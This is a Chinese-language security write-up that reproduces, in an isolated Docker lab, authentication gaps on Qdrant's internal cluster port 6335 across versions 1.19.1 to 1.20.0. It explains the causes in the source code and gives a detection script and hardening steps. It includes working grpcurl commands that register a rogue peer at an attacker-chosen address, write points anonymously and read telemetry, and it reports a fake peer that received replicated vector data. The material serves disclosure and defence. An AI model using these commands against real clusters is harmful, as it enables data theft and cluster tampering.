我写了一个假的 6335,Qdrant 把向量数据推了进去
Qdrant 分布式集群的 6335 内部端口,从 1.19.1 到 1.20.0 连修两轮:先堵只读 key 调 AddPeerToKnown,再把 enforce_internal_auth 默认打开。但不配 api_key 的集群仍然全裸——匿名能加 peer、往 collection 写数据、读 telemetry。我写了个假 6335,集群真把向量数据推了过去。
复现环境:Ubuntu 24.04.4 LTS,Docker 29.1.3。三个官方镜像 qdrant/qdrant v1.19.1、v1.19.2、v1.20.0,加一个 fullstorydev/grpcurl 当探针。集群跑在专用 docker 网络 172.31.0.0/24 里,节点 A 是 172.31.0.2、节点 B 是 172.31.0.3,6333 和 6335 都不映射到宿主机。
写在前面
这篇的重点是一个自己写的假节点被加成集群成员之后,真实的向量数据被推了过去。走到那一步经过的是 Qdrant 分布式集群里那个没人看的 6335 端口:两轮补丁都在收紧"谁能进门",还留了一处没配 key 就全开的盲区。
版本和时间是现查的。两条 advisory 都没分配 CVE,NVD 上搜不到,只有 GitHub 的 Security Advisory 页面有原文:GHSA-3gph-6c29-p29v 影响 1.18.0 到 1.19.1,修在 1.19.2(10 月 5 日);GHSA-frc7-44gm-99qq 影响 1.20.0 以前的全部版本,修在 1.20.0(10 月 22 日)。
验证是四组对照:1.19.1、1.19.2 各配一次 key,1.20.0 配 key 但不设 enforce,再跑一组什么都不配。区别只在这几个开关上,其余步骤一样;环境怎么搭写在第一节。
攻击者(同网段的容器 / 被拿下的跳板机)
|
| 直接连 172.31.0.2:6335,不带任何凭证
v
+------------------+ +------------------+
| 节点 A :6335 |<------>| 节点 B :6335 |
| 内部 gRPC | Raft | |
| 只读 key 能改拓扑 | | |
+------------------+ +------------------+
^
| AddPeerToKnown(id=99, uri=172.31.0.9)
|
集群把 172.31.0.9 当成合法成员,持续往那儿发 Raft 消息往下走是先搭环境、按版本逐个做对照,然后回源码找原因、列还没关的面、给检测方法,收在能确认的边界上。
一、先把集群搭起来
为什么盯上 6335
Qdrant 开单机的时候不会启动 6335 端口。只有把 cluster.enabled 打开,节点之间才会在 6335 上跑一套内部的 gRPC,用来同步 Raft 状态、转移分片、交换遥测数据。很多人部署向量库就是 docker run -p 6333:6333 -p 6334:6334,压根没开集群,所以这个端口在大部分教程里是不存在的。
但只要上了生产集群,情况就不一样了。Qdrant 的默认配置把内部监听绑在 service.host 上,而 service.host 默认是 0.0.0.0。能访问 6333 的机器,通常也能访问 6335。这个默认值本身不奇怪,问题在于 6335 上的服务要的是"集群成员"这个身份,而它判断身份的方式,在 1.20.0 之前一直有缝。
三个版本各拉一份
这次要看的补丁横跨三个版本。编号和修复版本前面提过,这里补一句覆盖范围:第二条 advisory 管的是 1.20.0 以前的全部版本,所以在它公开之前,1.19.2 虽然收住了第一条,仍然在第二条的射程里。1.20.0 之前没有任何一版同时躲过这两条。
我把三个版本的镜像都拉下来:
docker pull qdrant/qdrant:v1.19.1
docker pull qdrant/qdrant:v1.19.2
docker pull qdrant/qdrant:v1.20.0官方的镜像有一个坑。它的 Entrypoint 是空的,Cmd 写的是 ./entrypoint.sh,工作目录在 /qdrant。所以你不能照官方文档那样写 docker run qdrant/qdrant --uri http://...,那样 docker 会把 --uri 当成要执行的程序,直接报 exec: "--uri": executable file not found in $PATH。正确的写法是把启动脚本带上:
docker run -d --name qa qdrant/qdrant:v1.19.1 ./entrypoint.sh --uri http://172.31.0.2:6335
这个错误我踩了两次,第一次还以为是镜像不完整,翻了下 docker inspect 才看出来。
把 6335 关在自己的网段里
验证不能碰任何外部目标,所以我建了一个专用的 docker 网络:
docker network create qdrant-lab --subnet 172.31.0.0/24
节点 A 用 172.31.0.2,节点 B 用 172.31.0.3。两个节点的 6333 和 6335 都不往宿主机映射,只在这个网段里通。然后我再起一个 grpcurl 容器,也接进这个网络,扮演"能访问 6335、但不是集群成员"的主机。这个角色对应同一台宿主机上的另一个容器、同 VPC 里被拿下的跳板机,或者一个配错安全组的邻居。
集群用这条命令组起来:
node A: --uri http://172.31.0.2:6335
node B: --bootstrap http://172.31.0.2:6335两边都设 QDRANT__CLUSTER__ENABLED=true 和 QDRANT__CLUSTER__P2P__PORT=6335。等十几秒,/cluster 返回 status: enabled,两个 peer 都在列表里,集群就算起来了。
两个让我重跑的地方
第一个坑是 --uri 的端口。我按直觉写成 --uri http://172.31.0.2:6333,觉得反正都是本机。这个地址是给其他节点回连用的,必须指向 p2p 端口:写成 6333 节点能起来,但集群永远选不出 leader,B 那边 bootstrap 一直失败。改成 6335 就正常了。
第二个坑是启动顺序。两个节点同时起来时,B 会在 A 还没选出 leader 就去握手,日志里开始刷 Failed to send message ... transport error,重试很多次也不一定成功。A 的日志会提示 leader 大约 4 秒后建立,等它出来再起 B,一次就成。脚本里那个 12 秒的 sleep 是重跑三次之后加的。
这两个坑跟漏洞无关,但直接影响你能不能复现后面的现象。第一次搭的时候我看到一堆 transport error,还以为是认证配错了。
二、1.19.1:只读 key 改了我的集群
匿名请求确实被拦了
第一组我按"最谨慎的运维"来配:管理 key、只读 key、enforce_internal_auth 全开。
QDRANT__SERVICE__API_KEY=admin-key-123
QDRANT__SERVICE__READ_ONLY_API_KEY=ro-key-123
QDRANT__SERVICE__ENFORCE_INTERNAL_AUTH=true先不带任何凭证,直接调 Raft 服务的 AddPeerToKnown,这个方法的作用是往集群里加一个新节点,参数就三个:地址、端口、ID。
ERROR:
Code: Unauthenticated
Message: Must provide an API key or an Authorization bearer token被拒了,提示很标准。到这里如果收手,会觉得配置没问题:匿名进不来,认证开了,还能要求什么。
换成只读 key,方法返回了 200
只读 key 在 Qdrant 里的定位是给前端、给报表系统用的,权限表里它只能读 collection、读点、看统计,写操作应该一律拒绝。我拿它去调同一个内部方法:
docker run --rm --network qdrant-lab -v /proto:/proto fullstorydev/grpcurl \
-plaintext -import-path /proto -proto raft_service.proto \
-H "api-key: ro-key-123" \
-d '{"uri":"http://172.31.0.9:6335","port":6335,"id":99}' \
172.31.0.2:6335 qdrant.Raft/AddPeerToKnown返回的是完整的 peer 列表:
{
"allPeers": [
{ "uri": "http://172.31.0.9:6335/", "id": "99" },
...
]
}172.31.0.9 这个地址我根本没启动任何东西,99 这个 peer id 也是我随手填的。它被当成一个合法节点接受了。
/cluster 里多了一个不存在的 peer
为了确认不是接口"返回成功但没写入",我用管理 key 去查 REST 的集群视图。peer id 是每次启动随机生成的十六位数,下面这组只对应我这一轮实验,你重跑会得到另一组:
{"result":{"status":"enabled","peer_id":8961790907338763,
"peers":{"8961790907338763":{"uri":"http://172.31.0.2:6335/"},
"7355521036401373":{"uri":"http://172.31.0.3:6335/"},
"99":{"uri":"http://172.31.0.9:6335/"}},
"raft_info":{"term":1,"commit":8,"pending_operations":0,
"leader":8961790907338763}}}99 在 peers 里,leader 是节点 A 自己。commit 是 8。这个号随共识日志单调往上走,能涨说明这些加入请求都走完了 Raft 共识,不是只写进内存的一个列表。一个只读凭证,改掉了我的集群拓扑。
这条链路在真实环境里能干什么
按 advisory 的描述,攻击者拿到这一步之后能做三件事。把自己控制的机器加成 peer,集群会给新成员复制分片,存的向量数据就能读走。直接发 Raft 消息改 collection、改分片位置、改 peer 拓扑,因为共识状态机不看发送者是谁。往内部服务发超大消息把节点内存耗掉。
第一条我跑完了。写一个只回空响应的假 6335,不解析 protobuf,两百行 Python。用只读 key 把它注册成 peer 100,地址填我自己那台机的 172.31.0.1:6335。然后建一个副本数 2 的 collection,写两个点:
{"id":1,"vector":[0.1,0.2,0.3,0.4]} {"id":2,"vector":[0.2,0.3,0.4,0.5]}
跑完,假服务的日志里多了一行:
[数据] PointsInternal/Upsert 第 1 次:请求 77 字节,匹配到写入过的向量分量 [0.1, 0.2, 0.3, 0.4]
77 字节里就有我刚写进去的坐标。同一时刻集群的 message_send_failures 里只有那个没人监听的 172.31.0.9,没有 172.31.0.1:它把假节点当成健康成员,在往里推 Raft 消息和分片数据。advisory 里"新成员按成员待遇收分片复制"这句话,到这里就不是推断了。
第二条我只碰到一半:假节点进集群、拓扑被改掉是实测到的,但绕开 Raft 接口自己拼共识消息去改 collection 没试,那要把 Raft 协议实现一遍。第三条没做,那等于打自己的机器。
三、1.19.2 改了什么
错误信息换了
同样的配置,只把镜像换成 1.19.2,再用只读 key 调同一个方法:
ERROR:
Code: Unauthenticated
Message: Internal API requires the read-write API key提示语从"你得出示凭证"变成了"内部接口只认读写 key"。这句话很关键:修的是入口,把只读 key 和 JWT 挡在门外,请求根本到不了服务。
复测只读 key 和 JWT
1.19.2 上只读 key 被拒,集群视图里也没有 99。管理 key 仍然能加节点,返回的 allPeers 里只有 A 和 B,没有 99。
JWT 这条我没有单独复测。原因是我用的是官方镜像,没开 JWT 签发那一套配置,临时搭一个签发端要改不少东西。advisory 里写得很明确:修完之后内部 API 只接受 api_key 和 alt_api_key,只读 key 和所有 JWT 都被 Unauthenticated 挡掉。这一段我按原文引用,不当成自己的实测结论。
只改了名单
1.19.2 让"只读 key 进不来"成立,靠的是入口的白名单,服务里面的权限判断一行没动。
这个设计在"门口只放自己人"的前提下是成立的。问题是门口的判断标准一直在变,变的过程中又开了一个后门。
四、1.20.0 默认就强制了
不显式配置也拦
1.20.0 把 enforce_internal_auth 的默认值改成了开启。我故意不设这个环境变量,只配管理和只读两个 key,重新起集群:
匿名调用被拒,只读 key 调用被拒,提示同样是 Internal API requires the read-write API key。管理 key 正常。
这说明从 1.20.0 开始,"默认安全"这个目标至少在这个配置项上做到了。只要集群配了 key,运维不读文档、照着老脚本部署,也不会再把 6335 裸露出来。
改的是默认值,不是能力
这个修复没有新增任何机制。enforce_internal_auth 这个配置项 1.18.0 就有了,1.20.0 只是把它从默认 false 改成默认 true。功能代码没动,动的是出厂设置。
这么改的好处是升级即生效,代价是它依赖"你确实配了 api_key"这个前提。配置项叫 enforce,但它强制的内容是"比对 key",没有 key 可比的时候它什么都做不了。名字和实际能力之间差了一层,不读 advisory 很容易把"默认开启"理解成"默认安全"。
但强制的前提是"你必须配了 key"
advisory 里有一句话被很多人略过了:Enforcement requires an API key to be configured。强制认证的前提是存在一个 key 可以拿来比。如果一个分布式集群压根没配 api_key,那 6335 上就没有任何东西可以校验,强制也就无从谈起。
官方的处理是打日志。从 1.19.2 起,无 key 的分布式集群启动时会输出一条 warning。我专门去看了这条日志长什么样,然后做了第四组实验。
五、不配 api_key 的集群还是裸的
匿名调用不止能加节点
第四组:1.20.0,开集群,不配 api_key,不配只读 key,enforce_internal_auth 保持默认。
不带任何凭证调 AddPeerToKnown:
{
"allPeers": [
{ "uri": "http://172.31.0.9:6335/", "id": "99" },
...
]
}成功。peer 99 又一次进了集群,/cluster 里能看到它,commit 号照涨。
加节点只是让集群多认一个名字。同一组里我又拿匿名身份去调数据面的写接口:
docker run --rm --network qdrant-lab -v /proto:/proto \
fullstorydev/grpcurl -plaintext -import-path /proto -proto points_internal_service.proto \
-d '{"upsert_points":{"collection_name":"rwtest","points":[{"id":{"num":7},"vectors":{"vector":{"data":[0.7,0.7,0.7,0.7]}}}]}}' \
172.31.0.2:6335 qdrant.PointsInternal/Upsert返回 Acknowledged,回到 6333 用匿名再查这个点,{"result":[{"id":7}]}。一条不带任何凭证的请求,往 1.20.0 的集群里写进了数据。
同一个端口上的 QdrantInternal/GetTelemetry 带上 details_level=2,还能读到节点版本、peer 数量、commit 和 collection 列表。没有 key 的集群里,我试过的读写方法没有一个要凭证,Raft 只是其中一个。
这不是配置写错,这是官方文档里写明的行为:没有 key 就没法强制,只能告警。启动日志里那行警告写得很直白:
WARN qdrant::settings: Running in distributed mode without an API key.
The internal (p2p) gRPC API is not authenticated, and
`service.enforce_internal_auth` has no effect without `service.api_key`.
Restrict the internal port to cluster nodes and configure an API key.一句话里把前因后果都说了:分布式 + 没 api_key = 内部端口不认证,而且 enforce_internal_auth 这个开关在没有 api_key 的时候根本不生效。
问题是告警在日志里,而 Qdrant 的默认部署(尤其是内网、测试环境、演示集群)很可能本来就不设 api_key,因为设了之后所有客户端都要改连接串。运维看到一行 WARN,多数时候会当成噪音。
集群真的在往那个假地址发东西
这一组还有个细节值得单独说。把 peer 99(地址 172.31.0.9)加进去之后,过一会儿再翻节点 A 的日志:
WARN storage::content_manager::consensus_manager:
Failed to send message to http://172.31.0.9:6335/ with error:
Error in closure supplied to transport channel pool:
code: 'The service is currently unavailable', message:
"Failed to connect to http://172.31.0.9:6335/, error: transport error"集群不是在通讯录里记了个名字就完事,它真的在往那个地址发 Raft 消息。因为我这边 172.31.0.9 上没有服务,所以报 transport error。如果我在那个地址上起一个伪装的 gRPC 服务,回一个正常的响应,它就会成为集群眼里的合法成员,然后按成员待遇接收分片复制。
只读 key 那一步换来的是一条能持续接收数据的通道:集群把新成员当正常节点对待,按它的地址发 Raft 消息、复制分片。
这件事在 /cluster 的返回里也能直接看到:message_send_failures 下面挂着 172.31.0.9 这一条,count 随着重试一直往上走。我截图那一刻是 31,隔一会儿再看就更多了。
十七天里的两次修补,修的是不同层
把四组数据摆在一起,能看清修补的层次:
版本 | 配置 | 匿名 | 只读 key | 管理 key |
1.19.1 | enforce=true + 双 key | 拒绝 | 成功 | 成功 |
1.19.2 | enforce=true + 双 key | 拒绝 | 拒绝 | 成功 |
1.20.0 | 默认 + 双 key | 拒绝 | 拒绝 | 成功 |
1.20.0 | 默认 + 无 key | 成功 | 成功 | 成功 |
第一行是 10 月 5 日那条 advisory 描述的问题。第三行是 10 月 22 日那条。第四行不在任何一条 advisory 的"影响范围"里,但它是这两次修补共同漏下的地面:所有认证都建立在"有 key"这个前提上,而 key 是可选的。
为什么这个盲区不好关掉
如果 1.20.0 强行要求分布式集群必须配 api_key,会有一批升级上来直接起不来的部署。Qdrant 选择了兼容,把决定权交给运维,只在日志里提一句。
这个取舍可以理解,但它意味着"我升级到最新版就安全了"这个判断不成立。升级只解决了"有 key 却没强制"的情况,没解决"根本没 key"的情况。后者在内网部署里不算少见。
六、源码里为什么会长成这样
权限检查在存储层,Raft 不经过存储层
6335 上挂着六个服务、四十多个方法。权限检查不在 gRPC 这一层,在存储层的 lib/storage/src/rbac/ops_checks.rs 里:写操作要 AccessRequirements::new().manage(),读操作只要一个空的 AccessRequirements::new()。
所以同一把只读 key,打不同的方法结果不一样:
方法 | 只读 key |
Raft/AddPeerToKnown | 放行 |
PointsInternal/Upsert | Global manage access is required |
ShardSnapshots/Create | 同上 |
PointsInternal/Count | 放行 |
QdrantInternal/GetTelemetry | 放行 |
分界线在有没有经过存储层。AddPeerToKnown 收到请求直接推进共识,不进 TableOfContent,碰不到那套 RBAC。PointsInternal/Upsert 要落盘,走 TOC,被 manage 要求挡住。
advisory 点的是 Raft,另外五个服务都受这套要求管,只有它不经过存储层。
一个凭证体系服务两个面
根本原因是 6335 复用了 6333 和 6334 的凭证体系。同一个 api_key,既能调公共 REST,也能调内部 Raft;只读 key 和 JWT 也是同一套签发逻辑。内部端口和公共端口在权限语义上根本不是一回事,但它们在配置里长得一模一样。
advisory 里 1.19.2 的修复方式是把只读 key 和 JWT 从内部端口上排除掉,等于在共享的凭证体系上贴了一张"内部专用"的标签。标签贴住了大部分情况,但没改变"一个 key 走两个面"这个结构。
端口绑定跟着 service.host 走
还有一个不是漏洞、但会被漏洞放大的默认值。内部监听绑在 service.host 上,默认 0.0.0.0。所以你把 6333 暴露到哪,6335 就跟着暴露到哪。
1.19.2 给了一个缓解项:cluster.p2p.host,可以单独指定内部端口的绑定地址。但这个值默认不设,绝大多数部署不会去动它。advisory 里官方给的加固建议第一条也是这个意思:如果应用层能访问 6333,你要确认它访问不到 6335。
想给内部端口单独发一把钥匙,做不到
1.20.0 之后内部端口只认 api_key 和 alt_api_key。这两个东西在公共 API 上是同权的,alt_api_key 的设计目的是轮换期间让两个 key 同时有效,不是做权限隔离。
所以"最小权限"在这条线上走不通:你没法给内部通信发一把只能开 6335 的钥匙,只能用管理员那把。这把钥匙同时还能删 collection、删 point、调所有 REST 接口。一台节点被拿下,等于全集群的凭据都泄露,换 key 还得重启每个节点。
这不是我猜的。1.19.2 的修法是把只读 key 和 JWT 从内部端口排除,剩下的白名单就只有这两个管理凭证。绕不开,因为内部端口要能跑共识和分片操作,而分片操作在存储层要的是 manage 权限。
七、还剩哪些面没关
内部端口没有消息大小限制
1.20.0 的 advisory 里自己承认了一句:v1.20.0 does not introduce a message-size limit on the internal port。意思是认证修好了,"发一个巨大消息把节点内存打爆"这件事没动。
认证能挡匿名的人,挡不住有管理 key 的人,也挡不住无 key 集群里的任何人。内部端口不设上限可以理解(节点之间本来就要传分片快照),但它同时是个内存放大器。
加固时这条不好补。6335 是 gRPC,前面挂 nginx 做限制会影响节点间正常通信,client_max_body_size 一卡,大分片快照先断。能做的只有两件:网络层限制谁能连,节点上给进程设内存上限,OOM 时别把整台机器拖死。
时间线拉出来看,是同一个判断在改
enforce_internal_auth 这个配置项是 1.18.0 加进来的,默认关。1.18 之前,分布式集群的内部端口没有"认证"这一层,只有网络隔离。
1.18.0 到 1.19.1 这段时间,开关有了,但打开以后只读 key 也能过。1.19.2 把只读 key 和 JWT 去掉。1.20.0 把默认值改成开。
从一个不存在的开关,到一个默认开启的开关,中间隔了三个版本、两次 advisory,十七天里发了两轮。判断标准一次比一次严,但每次严的都是"谁可以进门",没有一次去动"进门之后能干什么"。
TLS 默认是关的
分布式集群里,节点之间的内部通信默认不开 TLS。cluster.p2p.enable_tls 是可选配置。你就算把 enforce_internal_auth 打开了,key 还是在网络上明文传。
同一个网段里如果有人能抓包,认证开了也等于没开。advisory 的加固建议里专门提了这一条:开内部认证的同时要把 TLS 一起开,否则 key 会裸奔。
集群视图本身是个信息面
/cluster 用管理 key 能查,返回每个 peer 的 uri 和 id。排查问题时好用,但它把拓扑、节点地址、Raft 状态一次给全。拿只读 key 的人在 1.19.2 之前既能查又能改。
八、怎么知道自己有没有问题
三条判断
不用跑利用代码,三条就能定性:
第一条,你的 Qdrant 是不是分布式。单机部署不启动 6335,这条整篇不适用。
第二条,6335 有没有跟 6333 一起暴露。从一台不属于集群的机器上试 nc -zv <host> 6335,通就是有问题,除非你有网络策略挡着。
第三条,看版本和 key。1.19.2 以下、并且开了 enforce_internal_auth 却还留着只读 key 的,属于第一类问题;1.20.0 以下、没开 enforce_internal_auth 的,属于第二类;1.20.0 但没配 api_key 的,属于第三类,这一类升级也救不了。
版本号不用猜
根路径就带版本:
curl -s http://172.31.0.2:6333/ | python3 -m json.tool
返回里有个 version 字段。容器部署也可以直接看镜像标签。拿到版本之后再去确认两件事:enforce_internal_auth 开没开、READ_ONLY_API_KEY 配没配。开了强制又配了只读 key 的,正好落在第一条 advisory 的射程里;没开强制的,不管哪个版本都是敞开的。
一段能跑的检测
按这三条写了个脚本,只做探测,不做利用:
#!/usr/bin/env python3
"""qdrant-internal-auth-audit.py
判断 Qdrant 分布式集群的内部 gRPC 端口(默认 6335)是否存在认证缺口。
只发只读探测,不修改集群状态。
用法:
python3 qdrant-internal-auth-audit.py --host 172.31.0.2 --api-key admin-key-123
"""
import argparse
import json
import socket
import sys
import urllib.request
def port_open(host, port, timeout=3.0):
try:
with socket.create_connection((host, port), timeout=timeout):
return True
except OSError:
return False
def cluster_info(host, port, api_key=None):
url = f"http://{host}:{port}/cluster"
req = urllib.request.Request(url)
if api_key:
req.add_header("api-key", api_key)
try:
with urllib.request.urlopen(req, timeout=5) as r:
return json.loads(r.read())
except Exception as e:
return {"error": str(e)}
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--host", required=True)
ap.add_argument("--http-port", type=int, default=6333)
ap.add_argument("--p2p-port", type=int, default=6335)
ap.add_argument("--api-key", default=None)
args = ap.parse_args()
info = cluster_info(args.host, args.http_port, args.api_key)
status = info.get("result", {}).get("status") if "result" in info else None
if status != "enabled":
print("[*] 不是分布式集群(/cluster 无 enabled),6335 不适用")
return 0
peers = info["result"].get("peers", {})
print(f"[*] 集群已启用,当前 {len(peers)} 个 peer")
for pid, meta in peers.items():
print(f" peer {pid} -> {meta.get('uri')}")
if not port_open(args.host, args.p2p_port):
print(f"[+] {args.p2p_port} 不可达,外部无法接触内部端口")
return 0
print(f"[!] {args.p2p_port} 可达,继续判断认证状态")
if args.api_key is None:
print("[!] 未提供 api_key:若集群本身没配 key,内部端口等同无认证")
print(" 判定:HIGH(1.20.0 也只能打 warning)")
else:
print("[*] 请用只读 key 复测;1.19.2 之前只读 key 可调内部写接口")
return 1
if __name__ == "__main__":
sys.exit(main())脚本只连端口、读 /cluster、打印判断,不发任何写请求。想进一步确认只读 key 能不能过,得用 grpcurl 带 proto 调一次 AddPeerToKnown,那一步会真的改集群状态,只能在你自己可控的靶机上做。
用 grpcurl 复现的两个前提
直接 grpcurl -plaintext host:6335 list 是不行的,Qdrant 没开 gRPC reflection,会返回 "server does not support the reflection API"。必须自己带 proto 文件。
proto 不用下载整个仓库,从 GitHub 的 contents 接口按文件取就行。只调 Raft 的话,raft_service.proto 和它 import 的那几个就够;调数据面还要带上 points_internal_service.proto 那一串。全部放到一个目录里,用 -import-path 指过去,-proto 指定入口文件:
grpcurl -plaintext \
-import-path ./proto -proto raft_service.proto \
-H "api-key: ro-key-123" \
-d '{"uri":"http://172.31.0.9:6335","port":6335,"id":99}' \
172.31.0.2:6335 qdrant.Raft/AddPeerToKnown第二个前提是 id 字段。它是 uint64,随便填一个大数都行,避开 0 和现成的 peer id 就可以。我用的 99,因为集群里现成的两个 id 都是十六位数,不会撞。
uri 填你自己控制的地址,port 填那个地址上的 p2p 端口。这两个字段不会被校验连通性,加进去的时候是"先记住,稍后再连"。
哪三类部署最容易中
第一类是 Kubernetes 上的 StatefulSet。Service 只暴露 6333 和 6334,但 Pod 之间用 headless service 互访,6335 对内全通。外面进不来,集群里任何一个 Pod 都能进,别的业务 Pod 被拿下就是现成的横向入口。
第二类是把 network_mode: host 打开的 compose 部署,或者写了 ports: - "6333-6335:6333-6335" 做端口范围映射,6335 直接落到宿主机上,扫一下就能发现。
第三类是自己写脚本拉起的测试环境。这类环境常常不配 api_key,因为配了以后每条 curl 都要加 header。它们通常在内网,运维的心理是"内网没人",对应的正是 1.20.0 也没关掉的那个盲区。
加固的顺序
如果确认有暴露,按这个顺序动,风险最小:
第一步,网络层先挡。安全组或者 NetworkPolicy 把 6335 限制在同集群节点之间。注意官方 advisory 里那句提醒:不是"从公网不可达"就够了,要确认应用层能访问 6333 的机器访问不到 6335。
第二步,升到 1.20.0 以上。这一步解决默认不强制的问题。
第三步,确认每个节点都配了 api_key,而且不是同一个弱口令。
第四步,把 cluster.p2p.enable_tls 打开。不做这一步,前三步的 key 都在明文传输。
如果暂时升不了级,1.19.2 起可以设 cluster.p2p.host 指定内网地址,把内部端口从 service.host 上摘下来。这个改动不需要重启整个集群,一台一台来。
九、这套修补逻辑修到哪算完
每次动的都是门口
两个 advisory 的修补方式,看得出一个思路:每次都在入口收紧一点。从"完全不认证"到"认证但只看是不是合法凭证",再到"只认读写 key",最后到"默认强制"。
每一步都解决了当次报上来的问题,每一次的判断依据仍然是"你有没有一把能开这扇门的钥匙"。
1.19.2 改的是门口的名单:把只读 key 和 JWT 从白名单里划掉,内部端口只剩管理凭证。存储层那套 RBAC 一行没动,能进门的人变了。
没钥匙的集群不在补丁范围里
而钥匙是可选的。没有钥匙的集群,门就是开的,官方选择打一行日志。
四组里最值得记住的是最后一行:升级到最新版、认证默认开启,只要没配 api_key,匿名请求照样能把一个不存在的节点塞进集群,也能往 collection 里写点数据。
官方没把它写成漏洞
这条不在任何一条 advisory 的影响范围里,是这套修补逻辑的必然结果。官方没把它写成漏洞,写的是"部署要求"和"启动告警":没配 api_key 的集群,本来就没打算做认证。